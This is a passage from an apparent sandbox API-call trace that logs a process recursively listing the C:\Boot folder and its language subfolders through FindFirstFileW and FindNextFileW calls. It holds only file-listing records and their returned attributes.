dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.966] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12160, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.966] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.966] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.966] FindClose (in: hFindFile=0x42604c0 | out: hFindFile=0x42604c0) returned 1 [0052.966] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0052.966] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0052.967] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260600 [0052.967] FindNextFileW (in: hFindFile=0x4260600, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.967] FindNextFileW (in: hFindFile=0x4260600, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9abff9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef597530, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x169a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootres.dll", cAlternateFileName="")) returned 1 [0052.967] FindNextFileW (in: hFindFile=0x4260600, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0052.967] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\en-US\\*", lpFindFileData=0x38cf584 | out: lpFindFileData=0x38cf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260200 [0052.967] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cf584 | out: lpFindFileData=0x38cf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0052.967] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cf584 | out: lpFindFileData=0x38cf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootres.dll.mui", cAlternateFileName="BOOTRE~1.MUI")) returned 1 [0052.967] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cf584 | out: lpFindFileData=0x38cf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootres.dll.mui", cAlternateFileName="BOOTRE~1.MUI")) returned 0 [0052.967] FindClose (in: hFindFile=0x4260200 | out: hFindFile=0x4260200) returned 1 [0052.967] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4283f58 | out: hHeap=0x6a0000) returned 1 [0052.967] FindNextFileW (in: hFindFile=0x4260600, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0052.967] FindClose (in: hFindFile=0x4260600 | out: hFindFile=0x4260600) returned 1 [0052.967] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0052.967] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0052.968] FindFirstFileW (in: lpFileName="C:\\Boot\\ro-RO\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42600c0 [0052.968] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.968] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.968] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0052.968] FindClose (in: hFindFile=0x42600c0 | out: hFindFile=0x42600c0) returned 1 [0052.968] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0052.968] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0052.968] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260800 [0052.968] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.968] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.968] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.968] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.968] FindClose (in: hFindFile=0x4260800 | out: hFindFile=0x4260800) returned 1 [0052.968] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0052.968] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0052.969] FindFirstFileW (in: lpFileName="C:\\Boot\\sk-SK\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260580 [0052.969] FindNextFileW (in: hFindFile=0x4260580, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.969] FindNextFileW (in: hFindFile=0x4260580, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.969] FindNextFileW (in: hFindFile=0x4260580, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0052.969] FindClose (in: hFindFile=0x4260580 | out: hFindFile=0x4260580) returned 1 [0052.969] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0052.969] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0052.969] FindFirstFileW (in: lpFileName="C:\\Boot\\sl-SI\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42600c0 [0052.969] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.969] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.969] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0052.969] FindClose (in: hFindFile=0x42600c0 | out: hFindFile=0x42600c0) returned 1 [0052.969] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0052.969] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0052.969] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260680 [0052.970] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.970] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.970] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.970] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.970] FindClose (in: hFindFile=0x4260680 | out: hFindFile=0x4260680) returned 1 [0052.970] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0052.970] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1 [0052.970] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-RS\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260680 [0052.970] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.970] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.970] 